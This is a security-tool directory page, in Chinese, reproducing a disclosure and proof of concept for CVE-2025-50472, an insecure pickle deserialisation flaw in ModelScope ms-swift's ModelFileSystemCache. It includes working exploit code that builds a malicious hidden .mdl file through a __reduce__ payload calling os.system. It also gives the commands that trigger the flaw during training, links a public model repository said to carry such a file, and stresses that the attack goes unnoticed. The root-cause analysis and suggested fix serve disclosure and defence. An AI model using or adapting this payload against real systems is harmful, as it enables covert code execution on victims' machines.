Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-50472 — CVE-2025-50472的概念验证利用代码,通过恶意.mdl文件在ModelScope ms-swift的ModelFileSystemCache中触发反序列化远程代码执行漏洞。 | Kitploit
工具/GitHubGitHub/before-rain/cve-2025-50472
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubbefore-rain/cve-2025-50472

CVE-2025-50472

CVE-2025-50472的概念验证利用代码,通过恶意.mdl文件在ModelScope ms-swift的ModelFileSystemCache中触发反序列化远程代码执行漏洞。

查看仓库
11年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-50472

ModelScope Ms-Swift ModelFileSystemCache 反序列化不可信数据导致远程代码执行漏洞

RCE PoC

我上传了一个包含恶意 .mdl 文件的代码仓库至 ModelScope 用于测试。测试时可以直接使用。链接为: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files

图片

该 .mdl 文件嵌入了恶意代码,但 ModelScope 上未显示安全警告。

PoC 代码:

root@kitploit:~
# 设置环境
pip install ms-swift==2.6.1
pip install -r framework.txt # 该 requirements 文件包含在 modelscope/ms-swift 仓库中
# 使用远程仓库 HaoFan2024/ms-swift-test-fanhao 时,.mdl 文件将被直接下载。
# 在模型加载过程中,.mdl 文件通过 pickle.load 加载,导致远程代码执行(RCE)。
CUDA_VISIBLE_DEVICES=0 swift sft \
    --model_type qwen1half-0_5b-chat \
    --model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
    --dataset blossom-math-zh \
    --num_train_epochs 5 \
    --sft_type lora \
    --output_dir output \
    --eval_steps 200

问题复现步骤如下:

  1. 模型被下载

    p1
  2. 恶意代码执行后,训练正常进行,未中断

    图片
  3. 恶意载荷成功执行

    图片

1. 漏洞高级概述及影响:

modelscope/ms-swift 库至 2.6.1 版本存在漏洞,由于在 ModelFileSystemCache() 类的 load_model_meta() 函数中对不可信数据进行反序列化,导致任意代码执行。攻击者可以构造恶意的序列化 .mdl 负载,利用 pickle.load() 处理可能来自不可信源的数据,从而执行任意代码。该漏洞允许远程代码执行(RCE),方式为欺骗受害者在正常训练过程中加载看似无害的检查点,从而使攻击者在目标机器上执行任意代码。

请注意,payload 文件是隐藏文件,使得受害者难以检测到篡改。更重要的是,在模型训练过程中,.mdl 文件被加载并执行任意代码后,正常训练过程不受影响,意味着用户对任意代码执行毫不知情。

2. 受影响产品

  • 产品:modelscope ms-swift
  • 模块:ModelFileSystemCache
  • 文件:swift/hub/utils/caching.py
  • 版本:<=2.6.1
  • GitHub 永久链接:https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

3. 根因分析

  • 漏洞详细描述:该漏洞源于对不可信数据的不安全反序列化。脚本使用 pickle.load 加载隐藏缓存文件,容易导致代码执行。

  • 从输入到漏洞条件的代码流程:

    • 在模型训练过程中,用户使用默认的模型下载方法从 ModelScope 获取模型。模型存储在路径 ~/.cache/modelscope/hub/xx/xx 下,模型目录中存在一个包含模型名称等基本信息的 .mdl 缓存文件。
    • 用户随后使用下载的模型进行微调或其他训练流程。
    • 当 caching.py 脚本反序列化 .mdl 文件时,文件中嵌入的恶意代码被执行。
  • 注入点:漏洞出现在调用 pickle.load 的位置。 GitHub 永久链接:https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141

  • 建议修复:处理配置文件(而非模型文件)时,建议采用更安全的文件解析方法,例如 yaml.safe_load(yaml_file) 或 json.load,以降低任意代码执行的风险。

4. PoC

  1. 运行 exploit.py 创建一个恶意的缓存文件 .mdl,该文件将在受害者系统上创建一个目录:
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('mkdir HACKED',))  

# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
    f.write(data)
  1. 将模型目录中的原始 .mdl 文件替换为上述生成的恶意文件。

  2. 当训练时指定 model_id_or_path 参数引用本地模型目录时,指定路径中被篡改的 .mdl 文件可能导致远程代码执行(RCE)。 重要的是,此类修改不会干扰正常的训练流程,使得 RCE 攻击具有隐蔽性,用户难以察觉。

root@kitploit:~
CUDA_VISIBLE_DEVICES=0 swift sft     --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat     --dataset blossom-math-zh     --num_train_epochs 5     --sft_type lora     --output_dir output     --eval_steps 200

作者

凡浩 (Hao Fan) 和 戎誉 (Yu Rong)

下载工具